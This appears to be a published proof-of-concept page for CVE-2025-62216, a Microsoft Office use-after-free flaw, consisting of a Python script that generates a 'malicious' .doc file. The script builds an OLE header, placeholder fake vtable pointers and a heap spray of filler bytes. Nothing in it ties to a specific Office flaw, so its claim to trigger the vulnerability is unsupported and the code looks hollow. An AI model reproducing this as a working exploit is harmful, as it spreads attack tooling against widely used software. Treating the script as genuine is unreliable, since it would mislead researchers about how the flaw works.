CVE-2025-62216: Microsoft Office释放后重用远程代码执行漏洞

// CVE-2025-62216 PoC - Malicious Office Document Trigger // This PoC demonstrates the use-after-free vulnerability in Microsoft Office // Note: This is for educational and security research purposes only import struct import sys def create_malicious_doc(): """ Generate a malicious Office document that triggers CVE-2025-62216 The document contains crafted data structures to cause use-after-free """ # OLE compound file header ole_header = bytearray() ole_header += b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # Signature ole_header += b'\x00' * 8 # CLSID ole_header += struct.pack('<H', 0x003E) # Minor version ole_header += struct.pack('<H', 0x0003) # Major version ole_header += struct.pack('<H', 0xFFFE) # Byte order ole_header += struct.pack('<H', 0x0009) # Sector size ole_header += struct.pack('<H', 0x0006) # Mini sector size ole_header += b'\x00' * 6 # Reserved ole_header += struct.pack('<I', 1) # Total sectors ole_header += struct.pack('<I', 0) # FAT sectors ole_header += struct.pack('<I', 0) # First directory sector ole_header += struct.pack('<I', 0) # Transaction signature ole_header += struct.pack('<I', 0x00001000) # Mini stream cutoff ole_header += struct.pack('<I', 0) # First mini FAT sector ole_header += struct.pack('<I', 0) # Number of mini FAT sectors ole_header += struct.pack('<I', 0) # First DIFAT sector ole_header += struct.pack('<I', 0) # Number of DIFAT sectors # Malicious payload to trigger use-after-free # This triggers the vulnerability by creating specific memory conditions malicious_payload = bytearray() # Crafted object structure that will be prematurely freed # but pointer to it remains accessible for i in range(100): # Object with specific vtable pointer manipulation obj_data = struct.pack('<Q', 0x4141414141414141) # Fake vtable pointer obj_data += struct.pack('<Q', 0x4242424242424242) # Additional data obj_data += struct.pack('<Q', 0x4343434343434343) # More data malicious_payload += obj_data # Heap spray pattern to increase exploitation reliability spray_pattern = b'\x41' * 0x1000 for _ in range(50): malicious_payload += spray_pattern # Combine header and payload doc = ole_header + malicious_payload return bytes(doc) def main(): print("[*] CVE-2025-62216 PoC Generator") print("[*] Target: Microsoft Office") print("[*] Vulnerability: Use After Free") # Generate malicious document poc_doc = create_malicious_doc() # Save to file output_file = 'CVE-2025-62216-poc.doc' with open(output_file, 'wb') as f: f.write(poc_doc) print(f"[+] PoC document generated: {output_file}") print("[+] Size: {} bytes".format(len(poc_doc))) print("\n[!] Warning: This PoC is for research purposes only") print("[!] Do not use this code for malicious activities") if __name__ == '__main__': main()